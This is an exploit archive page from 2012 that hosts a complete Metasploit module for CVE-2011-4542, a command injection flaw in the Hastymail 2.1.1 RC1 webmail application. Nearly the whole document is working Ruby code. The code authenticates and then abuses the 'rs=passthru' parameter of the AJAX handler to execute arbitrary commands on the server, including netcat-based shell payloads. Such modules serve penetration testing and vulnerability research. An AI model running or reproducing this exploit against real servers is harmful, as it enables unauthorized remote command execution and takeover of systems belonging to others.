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Hastymail 2.1.1 RC1 Command Injection

Hastymail 2.1.1 RC1 Command Injection
Posted Jul 13, 2012
Authored by juan vazquez, Bruno Teixeira | Site metasploit.com

This Metasploit module exploits a command injection vulnerability found in Hastymail 2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on the "lib/ajax_functions.php" script. Authentication is required on Hastymail in order to exploit the vulnerability. The module has been successfully tested on Hastymail 2.1.1 RC1 over Ubuntu 10.04.

tags | exploit, php
systems | linux, ubuntu
advisories | CVE-2011-4542, OSVDB-77331
MD5 | 8de106ad76c49f177614da33c8cc8e7d

Hastymail 2.1.1 RC1 Command Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Hastymail 2.1.1 RC1 Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in Hastymail
2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
the "lib/ajax_functions.php" script. Authentication is required on Hastymail
in order to exploit the vulnerability. The module has been successfully tested
on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bruno Teixeira', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-4542' ],
[ 'BID', '50791' ],
[ 'OSVDB', '77331' ],
[ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby netcat-e',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['Hastymail 2.1.1 RC1', {}]
],
'Privileged' => false,
'DisclosureDate' => "Nov 22 2011",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
OptString.new('USER', [true, "The username to authenticate with", ""]),
OptString.new('PASS', [true, "The password to authenticate with", ""])
], self.class)
end


def check
@uri = target_uri.path
@uri << '/' if @uri[-1,1] != '/'
@session_id = ""
@peer = "#{rhost}:#{rport}"

login

if not @session_id or @session_id.empty?
print_error "#{@peer} - Authentication failed"
return Exploit::CheckCode::Unknown
end

test = rand_text_alpha(rand(4) + 4)
data = "rs=passthru&"
data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
data << "rsargs[]=echo #{test}"
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri}",
'Cookie' => @session_id,
'data' => data
})

if res and res.code == 200 and res.body =~ /#{test}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def login
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri}?page=login",
'vars_post' =>
{
'user' => datastore['USER'],
'pass' => datastore['PASS'],
'login' => 'Login'
}
})

if res and res.code == 303
@session_id = res["Set-Cookie"]
print_good "#{@peer} - Authentication successfully"
end
end

def exploit
@uri = target_uri.path
@uri << '/' if @uri[-1,1] != '/'
@session_id = ""
@peer = "#{rhost}:#{rport}"

print_status "#{@peer} - Trying login"
login

if not @session_id or @session_id.empty?
print_error "#{@peer} - Authentication failed"
return
end

print_status "#{@peer} - Authentication successfully, trying to exploit"

data = "rs=passthru&"
data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
data << "rsargs[]=#{payload.encoded}"

res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri}",
'Cookie' => @session_id,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
},
'data' => data
})

if not res or res.code != 200 or not res.body =~ /\+/
print_error "#{@peer} - Exploitation failed"
return
end

end


end

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